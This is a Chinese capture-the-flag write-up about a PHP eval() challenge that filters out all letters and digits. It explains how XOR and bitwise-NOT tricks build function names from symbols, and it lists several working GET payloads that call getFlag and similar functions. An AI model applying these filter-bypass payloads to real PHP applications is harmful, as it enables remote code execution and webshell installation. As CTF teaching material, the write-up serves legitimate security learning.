过滤了字母和数字,如何写 shell?

标题:过滤了字母和数字,如何写 shell
日期:2018年08月13日
介绍:

金融行业正式比赛的一个题目


0x01、 前言

记一次拿webshell踩过的坑

文中给了一个代码

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

过滤了大小写字母和数字,如何传参来获取 flag?

0x02、构造过程

2.1 有关 php 的异或:

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~

2.2 举个栗子
<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>
  1. 关于 $_++; ;因为$_ 事先没有定义,所以等于 null,然后执行自加的操作,此时 $_=1
  2. 关于 $__= "?" ^ "}";;这里的 $__是字符 B
  3. 最后一句,等价于 B(),执行了 B() 这个函数
("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
上面的是_POST
2.3 关于 GET 传参

源码如下

<?php
function getFlag() {
  echo 'flag_is_here!';
}
echo (eval($_GET['gg']));
?>

方法1:

?gg=${_GET}[_]();&_=getFlag

?gg=${"`{{{"^"?<>/"}["`"^"?"]();&_=getFlag

方法2:博客里的,没搞懂 ${_GET}[__] 干啥的:

?code=${_GET}[_](${_GET}[__]);&_=getFlag

?code=$_=_GET;${$_}[_](${$_}[__]);&_=getFlag

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

方法3:把 getFlag 取反,然后进行 URL 编码

<?php
$a = urlencode('getflag');
echo urlencode(~$a);
?>

gg=$_=getflag;$_();
gg=$_=~%98%9A%8B%B9%93%9E%98;$_();

方法4:

?gg=$阿=getflag;$阿();

?gg=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

猜你喜欢

转载自www.cnblogs.com/v1vvwv/p/how-to-write-shell-with-special-numeric.html